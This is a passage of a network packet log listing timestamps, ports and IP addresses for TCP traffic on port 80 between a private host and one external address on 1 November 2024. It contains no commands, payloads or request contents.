Nov 1, 2024 05:53:09.176311016 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.176322937 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.176332951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.176345110 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.176359892 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.176366091 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.176373005 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.176384926 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.176393986 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.176394939 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.176408052 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.176418066 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.176444054 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.177150965 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.177162886 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.177172899 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.177185059 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.177200079 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.177217960 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.180733919 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.180787086 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.180803061 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.180814981 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.180856943 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.181036949 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181049109 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181061029 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181072950 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181114912 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.181132078 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.181437969 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181454897 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181466103 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181484938 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.181524038 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.181718111 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181729078 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181863070 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.181900978 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181912899 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181922913 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181935072 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.181936026 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.181969881 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.181998968 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182010889 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182020903 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182033062 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182044029 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182048082 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.182055950 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182066917 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182073116 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.182095051 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.182111979 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.182915926 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182926893 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182938099 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182949066 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182960987 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182967901 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.182971954 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182985067 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.182995081 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.182996035 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.183007956 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.183013916 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.183024883 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.183037043 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.183038950 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.183084011 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.218645096 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.218759060 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.218765020 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.218800068 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.220834970 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.220906019 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.220907927 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.220918894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221152067 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221163034 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221173048 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221184015 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.221189976 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221219063 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.221246958 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.221477032 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221524000 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.221585989 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221597910 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221610069 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221621990 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221627951 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.221636057 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221642971 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.221651077 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.221662998 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.221685886 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.222166061 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222177029 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222188950 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222201109 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222217083 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.222253084 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.222595930 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222609043 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222620010 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222631931 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222642899 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222654104 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.222656012 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222667933 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.222670078 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222680092 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222688913 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.222692966 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.222718954 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.222743988 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.223490000 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.223507881 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.223517895 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.223530054 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.223541021 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.223551989 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.223567009 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.223577976 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.223578930 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.223589897 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.223597050 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.223612070 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.223623037 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.236964941 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.237030029 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.237077951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.237090111 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.237154007 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.237188101 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.237230062 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.237281084 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.237329960 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.237358093 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.237404108 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.238063097 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238116026 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.238145113 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238159895 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238178015 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.238204002 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.238368988 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238379955 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238390923 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238401890 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238414049 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238424063 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.238466978 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.238773108 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238782883 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238794088 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.238873005 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.238986015 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239031076 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.239083052 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239098072 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239139080 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.239150047 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.239213943 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239234924 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239248991 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239258051 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.239278078 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.239375114 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239383936 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239424944 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.239500046 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239511013 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239547014 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.239640951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239685059 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.239726067 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239737034 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239753962 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239763975 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.239772081 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.239814997 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.240144968 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240160942 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240211964 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.240339041 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240350962 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240360022 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240369081 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.240370035 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240381956 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240381956 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.240417004 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.240715027 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240726948 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240737915 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240756035 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.240767956 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.240786076 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.240927935 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.240973949 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.241039991 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241050005 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241084099 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.241185904 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241197109 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241206884 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241216898 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241230965 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.241254091 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.241518974 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241529942 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241569042 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.241641045 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241669893 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241687059 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.241688013 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241710901 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.241730928 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.241899014 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241909981 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241919994 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241929054 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.241942883 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.242167950 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242180109 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242189884 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242197990 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.242208004 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.242228031 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.242425919 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242440939 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242454052 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242471933 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.242482901 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.242501020 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.242641926 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242685080 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.242856026 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242902040 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.242935896 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242947102 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.242978096 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.243088007 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243098974 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243108034 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243120909 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243136883 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.243148088 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.243174076 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.243407965 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243419886 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243429899 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243441105 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243453026 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.243483067 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.243674040 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243685007 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243695021 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243705988 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243716002 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.243722916 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.243755102 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.244246006 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244294882 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.244307041 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244317055 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244354010 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.244482040 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244493961 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244503975 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244517088 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244554996 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.244569063 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.244754076 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244765043 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244775057 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244787931 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.244811058 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.244837046 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.244992018 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.245002985 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.245013952 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.245032072 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.245043993 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.291933060 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.291945934 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.291956902 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292009115 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292033911 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292052984 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292066097 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292104006 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292114973 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292195082 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292207003 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292217016 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292248964 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292270899 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292388916 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292401075 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292411089 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292438984 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292464018 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292529106 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292541027 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292573929 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292584896 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292587996 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292597055 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292608023 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292660952 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292660952 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.292943954 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292953968 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292963028 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292973995 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292984962 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292995930 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.292998075 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.293023109 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.293035030 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.296209097 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.296257019 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.296269894 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.296269894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.296293974 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.296317101 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.296469927 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.296480894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.296490908 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.296500921 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.296515942 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.296530962 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.296545982 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.296562910 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.296825886 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.296837091 CET	80	49950	185.215.113.16	192.168.2.5
